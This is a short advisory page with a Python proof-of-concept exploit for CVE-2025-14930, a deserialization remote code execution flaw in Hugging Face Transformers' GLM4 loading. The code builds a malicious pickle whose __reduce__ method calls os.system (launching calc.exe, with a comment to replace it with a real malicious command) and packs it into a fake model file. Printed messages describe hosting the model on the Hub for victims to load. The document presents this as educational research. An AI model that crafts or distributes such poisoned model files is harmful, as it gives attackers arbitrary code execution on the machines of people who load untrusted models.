CVE-2025-14930: Hugging Face Transformers GLM4反序列化远程代码执行漏洞

''' CVE-2025-14930 PoC - Hugging Face Transformers GLM4 Deserialization RCE Note: This PoC is for educational and security research purposes only. ''' import pickle import os from transformers import AutoModel, AutoTokenizer # Malicious payload that executes arbitrary code during unpickling class MaliciousPayload: def __reduce__(self): # This will execute calc.exe on Windows when unpickled cmd = "calc.exe" # Replace with actual malicious command return (os.system, (cmd,)) # Generate malicious model file (simulated) def create_malicious_model(): malicious_data = pickle.dumps(MaliciousPayload()) # Create a mock safetensors-like structure with pickled data malicious_model = { "weight.bin": malicious_data, "config.json": '{"model_type":"glm"}' } return malicious_model # Vulnerable code path def load_vulnerable_model(model_path): """ This function demonstrates the vulnerable code path. In real attack scenario, attacker would host malicious model on HuggingFace Hub or trick user into loading from untrusted source. """ try: # This would normally load from local path or HuggingFace Hub # model = AutoModel.from_pretrained(model_path) # tokenizer = AutoTokenizer.from_pretrained(model_path) print(f"[*] Loading model from: {model_path}") print("[*] Model loading vulnerable to deserialization attack") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-14930 PoC - Hugging Face Transformers GLM4 RCE") print("=" * 60) # Create malicious payload malicious_model = create_malicious_model() print("[+] Created malicious payload") # Demonstrate the attack vector # In real scenario, attacker would upload to HuggingFace Hub malicious_path = "malicious-glm4-model" print(f"[*] Attacker would host model at: {malicious_path}") print("[*] Victim would load with: AutoModel.from_pretrained('malicious-glm4-model')")